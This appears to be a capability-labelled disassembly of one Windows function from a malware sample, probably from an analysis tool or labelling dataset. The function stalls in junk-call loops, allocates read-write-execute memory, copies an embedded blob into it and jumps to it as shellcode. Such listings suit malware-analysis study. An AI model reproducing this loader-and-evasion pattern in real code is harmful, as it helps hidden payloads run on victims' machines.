Function at 0x404c90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Get hostname
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x404cc0
inc esi
cmp esi, 0x73f04bd
jl 0x404ca6
cmp dword [0x451854], 0x400
jne 0x404d0b
push ebx
lea eax, [ebp - 0x828]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push ebx
push ebx
call fcn.0040594a
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405410
fstp st(0)
push ebx
push ebx
call fcn.004053ed
add esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405830
fstp st(0)
add esp, 8
cmp dword [0x451854], 0x93
jne 0x404d9f
xor ecx, ecx
lock bts dword [ecx], 0
mov eax, dword [ebp - 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0x404790
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call fcn.004057e8
add esp, 4
push ebx
push ebx
call fcn.00405817
add esp, 8
call fcn.004052d6
call fcn.00404c80
fldz
push ebx
sub esp, 8
fstp qword [esp]
call fcn.00405539
fstp st(0)
add esp, 0xc
mov eax, dword [0x44c9f4]
mov dword [0x452690], eax
mov eax, dword [0x451854]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x451854], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x4512e4], eax
mov esi, 0x1692e
call edi
sub esi, 1
jne 0x404dd7
cmp dword [0x451854], ebx
jbe 0x404e38
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov ecx, dword [0x452690]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x4512e4]
mov byte [eax + esi], dl
cmp dword [0x451854], 0x490
jne 0x404e2f
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call edi
lea edx, [ebp - 0xc]
push edx
push 0
lea eax, [ebp - 0x28]
push eax
push 0
call ebx
inc esi
cmp esi, dword [0x451854]
jb 0x404df2
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov ecx, dword [0x451854]
add ecx, esi
cmp ecx, 0x8d
jne 0x404e7b
push 0
lea edx, [ebp - 0x428]
push edx
push 0
push 0
push 0
push 0
call edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x404e46
call fcn.00404b60
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404eab
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x404ebc
inc esi
cmp esi, 0x67d12
jl 0x404e97
xor esi, esi
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404ee2
mov dword [ebp - 8], 0
add dword [ebp - 8], 0xea9
mov ecx, dword [ebp - 8]
add dword [0x4512e4], ecx
inc esi
cmp esi, 0x674bd
jl 0x404ec0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalWire]
mov dword [ebp - 4], 0x7b
cmp dword [0x451854], 0x86
jne 0x404f3a
push 0
call esi
push 0
lea edx, [ebp - 0x428]
push edx
push 0x4047b4
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x451854], 0xf
jne 0x404f4f
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x404f04
call fcn.004048c0
call dword [0x4512e4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret